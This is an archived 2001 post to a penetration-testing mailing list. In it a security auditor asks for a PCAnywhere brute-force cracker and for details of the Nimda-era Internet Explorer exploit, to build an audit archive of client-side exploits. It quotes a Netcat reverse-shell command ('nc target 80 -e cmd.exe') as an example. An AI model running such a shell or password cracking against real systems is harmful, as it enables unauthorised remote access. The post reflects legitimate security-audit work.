

IE/Outlook/Pcanywhere

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/pen-test/2001-09/0213.html>

From: Gary O'leary-Steele (GaryO@sec-1.com)

Date: 09/24/01

From: "Gary O'leary-Steele" <GaryO@sec-1.com>
To: <PEN-TEST@securityfocus.com>
Subject: IE/Outlook/Pcanywhere
Date: Mon, 24 Sep 2001 10:44:26 +0100
Message-ID: <NFBBIIPHNOKLPCLPGKOBHEECACBAA.GaryO@sec-1.com>

Hi,

Is there a brute force cracker available for Pcanyware? I have identified a PCanywhere server using Nmap but many of the commercial scanners have not recognized the pcanywhere server and therefore I need a specific tool for the job.

I am also putting together a archive of useful IE/Outlook exploits which execute Netcat or similar to demonstrate "hacking the internet user" as part of our security auditing services. The security focus search engine seems to be experiencing problems at the mo so as anyone got detailed information on the new(ish) IE exploit as used by the nimda worm so I can implement it in a non-viral way.

Many of our clients are SME's and they generally don't host many services (in the uk anyway) and the day of misconfigured IIS servers are dwindling due the wake up call issued from code red etc. In our opinion the use of executing an inside-out shell exploited using client side IE exploits (such as nc target 80 -e cmd.exe) will be the first attack attempted (against smaller sme's) by script kiddies / ex-employees than port scanning the firewall/router to find a vulnerable proxy with iis enabled etc (and all the usual vulnerabilities left by an overworked IT admin). therefore I want to put an archive together of code to exploit these weaknesses to expose these vulnerabilities from a remote audit perspective rather than taking a box with ISS on site to find the misconfigured workstations.

Thanx in advance for your assistance

Kind Regards
Gary O'leary-Steele
Sec-1

This list is provided by the SecurityFocus Security Intelligence Alert (SIA) Service. For more information on SecurityFocus' SIA service which

SecurityFocus Penetration: IE/Outlook/Pcanywhere

automatically alerts you to the latest security vulnerabilities please see:

<https://alerts.securityfocus.com/>

- *Previous message:* [Andrea Barisani: "Real connection spoofing \(Firewall Tester\)"](#)
- *Messages sorted by:* [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)